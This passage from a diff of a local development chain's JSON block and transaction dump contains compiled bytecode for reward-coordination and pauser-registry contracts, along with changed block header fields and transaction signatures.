909185918791016136c4565b604051602081830303815290604052805190602001209050610be783611c88565b33600090815260d0602090815260408083208484529091529020805460ff19166001908117909155610c1a90839061370a565b33600081815260ce602052604090819020929092559051829184917f51088b8c89628df3a8174002c2a034d0152fce6af8415d651b2a4734bf27048290610c6290889061371d565b60405180910390a4610c94333060408601803590610c8390602089016130f0565b6001600160a01b0316929190612458565b505050600101610b6e565b505060016097555050565b606654600290600490811603610cd25760405162461bcd60e51b815260040161089e906134fb565b600260975403610cf45760405162461bcd60e51b815260040161089e90613532565b6002609755600060ca610d0a60208601866132e5565b63ffffffff1681548110610d2057610d20613569565b6000918252602091829020604080516060810182526002909302909101805483526001015463ffffffff808216948401949094526401000000009004909216918101919091529050610d7284826124c9565b6000610d8460808601606087016130f0565b6001600160a01b03808216600090815260cc60205260409020549192501680610daa5750805b336001600160a01b03821614610e285760405162461bcd60e51b815260206004820152603c60248201527f52657761726473436f6f7264696e61746f722e70726f63657373436c61696d3a60448201527f2063616c6c6572206973206e6f742076616c696420636c61696d657200000000606482015260840161089e565b60005b610e3860a0880188613730565b90508110156110445736610e4f60e0890189613781565b83818110610e5f57610e5f613569565b6001600160a01b038716600090815260cd602090815260408083209302949094019450929091508290610e94908501856130f0565b6001600160a01b03166001600160a01b0316815260200190815260200160002054905080826020013511610f4e5760405162461bcd60e51b815260206004820152605560248201527f52657761726473436f6f7264696e61746f722e70726f63657373436c61696d3a60448201527f2063756d756c61746976654561726e696e6773206d75737420626520677420746064820152741a185b8818dd5b5d5b185d1a5d9950db185a5b5959605a1b608482015260a40161089e565b6000610f5e8260208501356137cb565b6001600160a01b038716600090815260cd60209081526040822092935085018035929190610f8c90876130f0565b6001600160a01b0316815260208082019290925260400160002091909155610fce908a908390610fbe908701876130f0565b6001600160a01b0316919061276a565b86516001600160a01b03808b1691878216918916907f9543dbd55580842586a951f0386e24d68a5df99ae29e3b216588b45fd684ce319061101260208901896130f0565b604080519283526001600160a01b039091166020830152810186905260600160405180910390a4505050600101610e2b565b505060016097555050505050565b60665460039060089081160361107a5760405162461bcd60e51b815260040161089e906134fb565b60cb546001600160a01b031633146110f15760405162461bcd60e51b815260206004820152603460248201527f52657761726473436f6f7264696e61746f723a2063616c6c6572206973206e6f6044820152733a103a3432903932bbb0b93239aab83230ba32b960611b606482015260840161089e565b60cb5463ffffffff600160c01b90910481169083161161118d5760405162461bcd60e51b815260206004820152604b60248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a206e60448201527f657720726f6f74206d75737420626520666f72206e657765722063616c63756c60648201526a185d1959081c195c9a5bd960aa1b608482015260a40161089e565b428263ffffffff16106112265760405162461bcd60e51b815260206004820152605560248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a207260448201527f65776172647343616c63756c6174696f6e456e6454696d657374616d702063616064820152746e6e6f7420626520696e207468652066757475726560581b608482015260a40161089e565b60ca5460cb5460009061124690600160a01b900463ffffffff16426137de565b6040805160608101825287815263ffffffff878116602080840182815286841685870181815260ca805460018101825560009190915296517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee160029098029788015591517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee29096018054925196861667ffffffffffffffff19909316929092176401000000009686169690960295909517905560cb805463ffffffff60c01b1916600160c01b840217905593519283529394508892908616917fecd866c3c158fa00bf34d803d5f6023000b57080bcb48af004c2b4b46b3afd08910160405180910390a45050505050565b611359611b37565b6108b08161279a565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156113aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ce9190613496565b6113ea5760405162461bcd60e51b815260040161089e906134b3565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b60ca818154811061143957600080fd5b60009182526020909120600290910201805460019091015490915063ffffffff8082169164010000000090041683565b60006114df8260ca61147e60208301836132e5565b63ffffffff168154811061149457611494613569565b6000918252602091829020604080516060810182526002909302909101805483526001015463ffffffff808216948401949094526401000000009004909216918101919091526124c9565b506001919050565b6114ef611b37565b6114f9600061280b565b565b611503611b37565b6108b08161285d565b33600081815260cc602052604080822080546001600160a01b031981166001600160a01b038781169182179093559251911692839185917fbab947934d42e0ad206f25c9cab18b5bb6ae144acfb00f40b4e3aa59590ca31291a4505050565b600054610100900460ff161580801561158b5750600054600160ff909116105b806115a55750303b1580156115a5575060005460ff166001145b6116085760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161089e565b6000805460ff19166001179055801561162b576000805461ff0019166101001790555b6116336128b9565b60c9556116408686612950565b6116498761280b565b6116528461285d565b61165b8361279a565b61166482612a3a565b80156116aa576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050505050565b6116bb611b37565b6108b081612a3a565b60ca546000905b63ffffffff811615611736578260ca6116e56001846137fa565b63ffffffff16815481106116fb576116fb613569565b906000526020600020906002020160000154036117245761171d6001826137fa565b9392505050565b8061172e81613816565b9150506116cb565b5060405162461bcd60e51b815260206004820152603760248201527f52657761726473436f6f7264696e61746f722e676574526f6f74496e6465784660448201527f726f6d486173683a20726f6f74206e6f7420666f756e64000000000000000000606482015260840161089e565b6117ad611b37565b6001600160a01b0381166118125760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161089e565b6108b08161280b565b60007f0000000000000000000000000000000000000000000000000000000000000000460361184b575060c95490565b6118536128b9565b905090565b60006001610a0260208401846130f0565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118e0919061342f565b6001600160a01b0316336001600160a01b0316146119105760405162461bcd60e51b815260040161089e9061344c565b60665419811960665419161461198e5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161089e565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016109e7565b6066546000906001908116036119ed5760405162461bcd60e51b815260040161089e906134fb565b600260975403611a0f5760405162461bcd60e51b815260040161089e90613532565b600260975560005b82811015610c9f5736848483818110611a3257611a32613569565b9050602002810190611a44919061357f565b33600081815260ce60209081526040808320549051949550939192611a6f92909185918791016136c4565b604051602081830303815290604052805190602001209050611a9083611c88565b33600090815260cf602090815260408083208484529091529020805460ff19166001908117909155611ac390839061370a565b33600081815260ce602052604090819020929092559051829184917f450a367a380c4e339e5ae7340c8464ef27af7781ad9945cfe8abd828f89e628190611b0b90889061371d565b60405180910390a4611b2c333060408601803590610c8390602089016130f0565b505050600101611a17565b6033546001600160a01b031633146114f95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161089e565b6001600160a01b038116611c1f5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161089e565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6000611c948280613781565b905011611cf9576040805162461bcd60e51b815260206004820152602481019190915260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206e6f207374726174656769657320736574606482015260840161089e565b6000816040013511611d6b5760405162461bcd60e51b8152602060048201526041602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20616d6f756e742063616e6e6f74206265206064820152600360fc1b608482015260a40161089e565b6f4b3b4ca85a86c47a098a223fffffffff81604001351115611de35760405162461bcd60e51b815260206004820152603f602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20616d6f756e7420746f6f206c6172676500606482015260840161089e565b63ffffffff7f000000000000000000000000000000000000000000000000000000000000000016611e1a60a08301608084016132e5565b63ffffffff161115611e9f5760405162461bcd60e51b8152602060048201526054602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206475726174696f6e20657863656564732060648201527326a0ac2fa922aba0a92229afa22aa920aa24a7a760611b608482015260a40161089e565b7f0000000000000000000000000000000000000000000000000000000000000000611ed060a08301608084016132e5565b611eda919061384c565b63ffffffff1615611f7a5760405162461bcd60e51b815260206004820152606a602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206475726174696f6e206d7573742062652060648201527f61206d756c7469706c65206f662043414c43554c4154494f4e5f494e54455256608482015269414c5f5345434f4e445360b01b60a482015260c40161089e565b7f0000000000000000000000000000000000000000000000000000000000000000611fab60808301606084016132e5565b611fb5919061384c565b63ffffffff161561205b5760405162461bcd60e51b8152602060048201526070602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d70206d7560648201527f73742062652061206d756c7469706c65206f662043414c43554c4154494f4e5f60848201526f494e54455256414c5f5345434f4e445360801b60a482015260c40161089e565b61206b60808201606083016132e5565b63ffffffff167f000000000000000000000000000000000000000000000000000000000000000063ffffffff16426120a391906137cb565b111580156120ec57506120bc60808201606083016132e5565b63ffffffff167f000000000000000000000000000000000000000000000000000000000000000063ffffffff1611155b6121665760405162461bcd60e51b8152602060048201526051602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d7020746f6064820152701bc819985c881a5b881d1a19481c185cdd607a1b608482015260a40161089e565b61219663ffffffff7f0000000000000000000000000000000000000000000000000000000000000000164261370a565b6121a660808301606084016132e5565b63ffffffff16111561222a5760405162461bcd60e51b8152602060048201526053602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d7020746f6064820152726f2066617220696e207468652066757475726560681b608482015260a40161089e565b6000805b6122388380613781565b905081101561245357600061224d8480613781565b8381811061225d5761225d613569565b61227392602060409092020190810191506130f0565b60405163198f077960e21b81526001600160a01b0380831660048301529192507f00000000000000000000000000000000000000000000000000000000000000009091169063663c1de490602401602060405180830381865afa1580156122de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123029190613496565b8061232957506001600160a01b03811673beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac0145b61239c5760405162461bcd60e51b815260206004820152604a602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20696e76616c69642073747261746567792060648201526918dbdb9cda59195c995960b21b608482015260a40161089e565b806001600160a01b0316836001600160a01b0316106124495760405162461bcd60e51b8152602060048201526069602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a2073747261746567696573206d757374206260648201527f6520696e20617363656e64696e67206f7264657220746f2068616e646c65206460848201526875706c69636174657360b81b60a482015260c40161089e565b915060010161222e565b505050565b6040516001600160a01b03808516602483015283166044820152606481018290526124c39085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152612aa5565b50505050565b806040015163ffffffff164210156125425760405162461bcd60e51b815260206004820152603660248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a206044820152751c9bdbdd081b9bdd081858dd1a5d985d1959081e595d60521b606482015260840161089e565b61254f60c0830183613730565b905061255e60a0840184613730565b9050146125e85760405162461bcd60e51b815260206004820152604c60248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a2060448201527f746f6b656e496e646963657320616e6420746f6b656e50726f6f6673206c656e60648201526b0cee8d040dad2e6dac2e8c6d60a31b608482015260a40161089e565b6125f560e0830183613781565b905061260460c0840184613730565b90501461268c5760405162461bcd60e51b815260206004820152604a60248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a2060448201527f746f6b656e5472656550726f6f667320616e64206c6561766573206c656e67746064820152690d040dad2e6dac2e8c6d60b31b608482015260a40161089e565b80516126b8906126a260408501602086016132e5565b6126af6040860186613874565b86606001612b77565b60005b6126c860a0840184613730565b90508110156124535761276260808401356126e660a0860186613730565b848181106126f6576126f6613569565b905060200201602081019061270b91906132e5565b61271860c0870187613730565b8581811061272857612728613569565b905060200281019061273a9190613874565b61274760e0890189613781565b8781811061275757612757613569565b905060400201612ceb565b6001016126bb565b6040516001600160a01b03831660248201526044810182905261245390849063a9059cbb60e01b9060640161248c565b60cb546040805163ffffffff600160a01b9093048316815291831660208301527faf557c6c02c208794817a705609cfa935f827312a1adfdd26494b6b95dd2b4b3910160405180910390a160cb805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60cb546040516001600160a01b038084169216907f237b82f438d75fc568ebab484b75b01d9287b9e98b490b7c23221623b6705dbb90600090a360cb80546001600160a01b0319166001600160a01b0392909216919091179055565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b6065546001600160a01b031615801561297157506001600160a01b03821615155b6129f35760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161089e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2612a3682611b91565b5050565b60cb546040805161ffff600160e01b9093048316815291831660208301527f8cdc428b0431b82d1619763f443a48197db344ba96905f3949643acd1c863a06910160405180910390a160cb805461ffff909216600160e01b0261ffff60e01b19909216919091179055565b6000612afa826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316612e3c9092919063ffffffff16565b8051909150156124535780806020019051810190612b189190613496565b6124535760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b606482015260840161089e565b612b826020836138bb565b6001901b8463ffffffff1610612c0c5760405162461bcd60e51b815260206004820152604360248201527f52657761726473436f6f7264696e61746f722e5f7665726966794561726e657260448201527f436c61696d50726f6f663a20696e76616c6964206561726e65724c656166496e6064820152620c8caf60eb1b608482015260a40161089e565b6000612c17826109f2565b9050612c6284848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508a92508591505063ffffffff8916612e53565b612ce35760405162461bcd60e51b815260206004820152604660248201527f52657761726473436f6f7264696e61746f722e5f7665726966794561726e657260448201527f436c61696d50726f6f663a20696e76616c6964206561726e657220636c61696d60648201526510383937b7b360d11b608482015260a40161089e565b505050505050565b612cf66020836138bb565b6001901b8463ffffffff1610612d745760405162461bcd60e51b815260206004820152603c60248201527f52657761726473436f6f7264696e61746f722e5f766572696679546f6b656e4360448201527f6c61696d3a20696e76616c696420746f6b656e4c656166496e64657800000000606482015260840161089e565b6000612d7f82611858565b9050612dca84848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508a92508591505063ffffffff8916612e53565b612ce35760405162461bcd60e51b815260206004820152603f60248201527f52657761726473436f6f7264696e61746f722e5f766572696679546f6b656e4360448201527f6c61696d3a20696e76616c696420746f6b656e20636c61696d2070726f6f6600606482015260840161089e565b6060612e4b8484600085612e6b565b949350505050565b600083612e61868585612f9c565b1495945050505050565b606082471015612ecc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b606482015260840161089e565b6001600160a01b0385163b612f235760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015260640161089e565b600080866001600160a01b03168587604051612f3f91906138f3565b60006040518083038185875af1925050503d8060008114612f7c576040519150601f19603f3d011682016040523d82523d6000602084013e612f81565b606091505b5091509150612f918282866130a2565b979650505050505050565b600060208451612fac9190613905565b156130335760405162461bcd60e51b815260206004820152604b60248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f664b65636360448201527f616b3a2070726f6f66206c656e6774682073686f756c642062652061206d756c60648201526a3a34b836329037b310199960a91b608482015260a40161089e565b8260205b855181116130995761304a600285613905565b60000361306e57816000528086015160205260406000209150600284049350613087565b8086015160005281602052604060002091506002840493505b61309260208261370a565b9050613037565b50949350505050565b606083156130b157508161171d565b8251156130c15782518084602001fd5b8160405162461bcd60e51b815260040161089e9190613919565b6001600160a01b03811681146108b057600080fd5b60006020828403121561310257600080fd5b813561171d816130db565b80151581146108b057600080fd5b6000806040838503121561312e57600080fd5b8235613139816130db565b915060208301356131498161310d565b809150509250929050565b60006020828403121561316657600080fd5b5035919050565b60006040828403121561317f57600080fd5b50919050565b60006040828403121561319757600080fd5b61171d838361316d565b600080604083850312156131b457600080fd5b82356131bf816130db565b91506020830135613149816130db565b600080602083850312156131e257600080fd5b823567ffffffffffffffff8111156131f957600080fd5b8301601f8101851361320a57600080fd5b803567ffffffffffffffff81111561322157600080fd5b8560208260051b840101111561323657600080fd5b6020919091019590945092505050565b6000610100828403121561317f57600080fd5b6000806040838503121561326c57600080fd5b823567ffffffffffffffff81111561328357600080fd5b61328f85828601613246565b9250506020830135613149816130db565b803563ffffffff811681146132b457600080fd5b919050565b600080604083850312156132cc57600080fd5b823591506132dc602084016132a0565b90509250929050565b6000602082840312156132f757600080fd5b61171d826132a0565b60006020828403121561331257600080fd5b813560ff8116811461171d57600080fd5b60006020828403121561333557600080fd5b813567ffffffffffffffff81111561334c57600080fd5b612e4b84828501613246565b6000806040838503121561336b57600080fd5b8235613376816130db565b946020939093013593505050565b80356132b4816130db565b803561ffff811681146132b457600080fd5b60008060008060008060c087890312156133ba57600080fd5b86356133c5816130db565b955060208701356133d5816130db565b94506040870135935060608701356133ec816130db565b92506133fa608088016132a0565b915061340860a0880161338f565b90509295509295509295565b60006020828403121561342657600080fd5b61171d8261338f565b60006020828403121561344157600080fd5b815161171d816130db565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b6000602082840312156134a857600080fd5b815161171d8161310d565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60008235609e1983360301811261359557600080fd5b9190910192915050565b81835260208301925060008160005b848110156136055781356135c1816130db565b6001600160a01b0316865260208201356bffffffffffffffffffffffff81168082146135ec57600080fd5b60208801525060409586019591909101906001016135ae565b5093949350505050565b60008135601e1983360301811261362557600080fd5b820160208101903567ffffffffffffffff81111561364257600080fd5b8060061b360382131561365457600080fd5b60a0855261366660a08601828461359f565b91505061367560208401613384565b6001600160a01b0316602085015260408381013590850152613699606084016132a0565b63ffffffff1660608501526136b0608084016132a0565b63ffffffff81166080860152509392505050565b60018060a01b03841681528260208201526060604082015260006136eb606083018461360f565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610a7757610a776136f4565b60208152600061171d602083018461360f565b6000808335601e1984360301811261374757600080fd5b83018035915067ffffffffffffffff82111561376257600080fd5b6020019150600581901b360382131561377a57600080fd5b9250929050565b6000808335601e1984360301811261379857600080fd5b83018035915067ffffffffffffffff8211156137b357600080fd5b6020019150600681901b360382131561377a57600080fd5b81810381811115610a7757610a776136f4565b63ffffffff8181168382160190811115610a7757610a776136f4565b63ffffffff8281168282160390811115610a7757610a776136f4565b600063ffffffff82168061382c5761382c6136f4565b6000190192915050565b634e487b7160e01b600052601260045260246000fd5b600063ffffffff83168061386257613862613836565b8063ffffffff84160691505092915050565b6000808335601e1984360301811261388b57600080fd5b83018035915067ffffffffffffffff8211156138a657600080fd5b60200191503681900382131561377a57600080fd5b6000826138ca576138ca613836565b500490565b60005b838110156138ea5781810151838201526020016138d2565b50506000910152565b600082516135958184602087016138cf565b60008261391457613914613836565b500690565b60208152600082518060208401526139388160408501602087016138cf565b601f01601f1916919091016040019291505056fe52657761726473436f6f7264696e61746f722e5f76616c696461746552657761a2646970667358221220a36edf2d3dce7bfba092e6a7f8c98bee38b143e8f924a4f463353379f1a9adae64736f6c634300081b0033000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c90000000000000000000000000000000000000000000000000000000000093a8000000000000000000000000000000000000000000000000000000000005c4900000000000000000000000000000000000000000000000000000000000076a7000000000000000000000000000000000000000000000000000000000000278d000000000000000000000000000000000000000000000000000000000065fb7880", + "r": "0x9f5dee51c03f78b9a9e4201650c7f406811f8a8a50bea3a85c5274f7aee9cb50", + "s": "0x52a7e7d4ed80050ccb71fea0d273d35cfb26484f8ed97a10ef25956e870fa51e", "yParity": "0x0", - "hash": "0xdbeaad0376d936df8f5bb54707e0b78789158df3505b3401a68e8d7b418ccad3" + "hash": "0x776076c028dc038e8cca81c0d5751ccfd43c9784435bcdd351396a7d71e48d0e" } }, "impersonated_sender": null @@ -1178,22 +1112,22 @@ }, { "header": { - "parentHash": "0xf24e1f57690eedcf4061c61f17f336486b8ac8b57cbebac56be35dbb5dbdd046", + "parentHash": "0xa9206b55f2edb4d12832fa4f317d6113726a20ba27e4de1ae99eb59c4509725a", "ommersHash": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", "beneficiary": "0x0000000000000000000000000000000000000000", - "stateRoot": "0xdbd817fdfda8ee487357149a23ab34a0d6ac0abfde8f85e811f3f1822044bc7a", - "transactionsRoot": "0xb20a8e4b56c622939cdf31409262deb2eef8b7d75203cfa0c8d4c5ec5a7b6cad", - "receiptsRoot": "0x0fcbe189ece1da34799de2d8025d7aa40c77d15e1a12e71653c20f20fdea27c9", + "stateRoot": "0x7fc4c95493959d87c6b97efa8f22cfda62062f146cc101a72c7e14357182ef58", + "transactionsRoot": "0x9cb63a3ddedd31db6733d943bf794a3c13583ecaed6b95f817198f3a911c098a", + "receiptsRoot": "0xa68a67dce4aaa04d6edf9c1ac958dbcb7e48099173e10cf31b7f97c3ab596fc5", "withdrawalsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - "logsBloom": "0x00000000000000040000000000000000400000000000000000000000000000000000000000000000000400000000080010400000000000000000000000100001000000000000000000000000000002000000000000000000000000000000400000000000000000000000200000000000000080800000000000000000000000000000000008000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000001000000000000420000000000000000000000000000000000000000000000000000000000001000004801100000000000000", + "logsBloom": "0x00000000000000000000000000000000400004000000000000000000000000000000000000000000000400000000000000400000000000000004000000000000000000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020080000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000", "difficulty": "0x0", - "number": "0x2", + "number": "0x19", "gasLimit": "0x1c9c380", - "gasUsed": "0x17dd2b", - "timestamp": "0x67212bff", + "gasUsed": "0x8bf2e", + "timestamp": "0x672a8e17", "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", "nonce": "0x0000000000000000", - "baseFeePerGas": "0x345fce36", + "baseFeePerGas": "0x33f7d44", "blobGasUsed": "0x0", "excessBlobGas": "0x0", "parentBeaconBlockRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", @@ -1204,74 +1138,17 @@ "transaction": { "EIP1559": { "chainId": "0x7a69", - "nonce": "0x1", - "gas": "0x6b57b", - "maxFeePerGas": "0x77359401", - "maxPriorityFeePerGas": "0x1", - "value": "0x0", - "accessList": [], - "input": "0x608060405234801561001057600080fd5b5060405161075038038061075083398101604081905261002f91610259565b60005b825181101561006d576100658382815181106100505761005061033a565b6020026020010151600161007e60201b60201c565b600101610032565b5061007781610150565b5050610350565b6001600160a01b0382166100ef5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b60648201526084015b60405180910390fd5b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b0381166101be5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b60648201526084016100e6565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b634e487b7160e01b600052604160045260246000fd5b80516001600160a01b038116811461025457600080fd5b919050565b6000806040838503121561026c57600080fd5b82516001600160401b0381111561028257600080fd5b8301601f8101851361029357600080fd5b80516001600160401b038111156102ac576102ac610227565b604051600582901b90603f8201601f191681016001600160401b03811182821017156102da576102da610227565b6040529182526020818401810192908101888411156102f857600080fd5b6020850194505b8385101561031e576103108561023d565b8152602094850194016102ff565b509450610331925050506020840161023d565b90509250929050565b634e487b7160e01b600052603260045260246000fd5b6103f18061035f6000396000f3fe608060405234801561001057600080fd5b506004361061004c5760003560e01c806346fbf68e146100515780638568520614610089578063ce5484281461009e578063eab66d7a146100b1575b600080fd5b61007461005f366004610313565b60006020819052908152604090205460ff1681565b60405190151581526020015b60405180910390f35b61009c610097366004610335565b6100dc565b005b61009c6100ac366004610313565b61011d565b6001546100c4906001600160a01b031681565b6040516001600160a01b039091168152602001610080565b6001546001600160a01b0316331461010f5760405162461bcd60e51b815260040161010690610371565b60405180910390fd5b6101198282610153565b5050565b6001546001600160a01b031633146101475760405162461bcd60e51b815260040161010690610371565b61015081610220565b50565b6001600160a01b0382166101bf5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b6064820152608401610106565b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b03811661028e5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b6064820152608401610106565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b038116811461030e57600080fd5b919050565b60006020828403121561032557600080fd5b61032e826102f7565b9392505050565b6000806040838503121561034857600080fd5b610351836102f7565b91506020830135801515811461036657600080fd5b809150509250929050565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b60608201526080019056fea26469706673582212200f9bddaf281b593acba4d40ad0f8076fa9190d1d819fa1d3c292d86b7ab6684564736f6c634300081c00330000000000000000000000000000000000000000000000000000000000000040000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000003000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "r": "0x33711386ce008e0ed323d96d8e2c35c3eea246a000359e0f36e9b5080a0f80dd", - "s": "0x394ba0e41b96b68b05531167827f79603b2c416d5656c0241241adf96dc6884a", - "yParity": "0x1", - "hash": "0x36e493baf7271595140c6eb3ab0ad73f1a465f974b7f43e80bec732caa827f5e" - } - }, - "impersonated_sender": null - }, - { - "transaction": { - "EIP1559": { - "chainId": "0x7a69", - "nonce": "0x2", - "gas": "0x191db", - "maxFeePerGas": "0x77359401", - "maxPriorityFeePerGas": "0x1", - "value": "0x0", - "accessList": [], - "input": "0x6080604052348015600f57600080fd5b50607780601d6000396000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c8063c298557814602d575b600080fd5b600060405190815260200160405180910390f3fea264697066735822122083f6599f3b40efb95aaba690bbeee04c49e0cc0eebd29434caa726d365b9d29f64736f6c634300081c0033", - "r": "0x6abf6e09b2d7f3e529085dddaf55820dd2677ce519861eb25047f7e020710484", - "s": "0x7a5e62198238b95e61f97fe50a43e62b5328079e6ba62f6eb6eb6793a77d2b52", - "yParity": "0x1", - "hash": "0x22a9f86b632e0721e86b2a5abace725309858cf2abca7c3f7f22df7902873912" - } - }, - "impersonated_sender": null - }, - { - "transaction": { - "EIP1559": { - "chainId": "0x7a69", - "nonce": "0x3", - "gas": "0xb5dcb", - "maxFeePerGas": "0x77359401", - "maxPriorityFeePerGas": "0x1", - "value": "0x0", - "accessList": [], - "input": 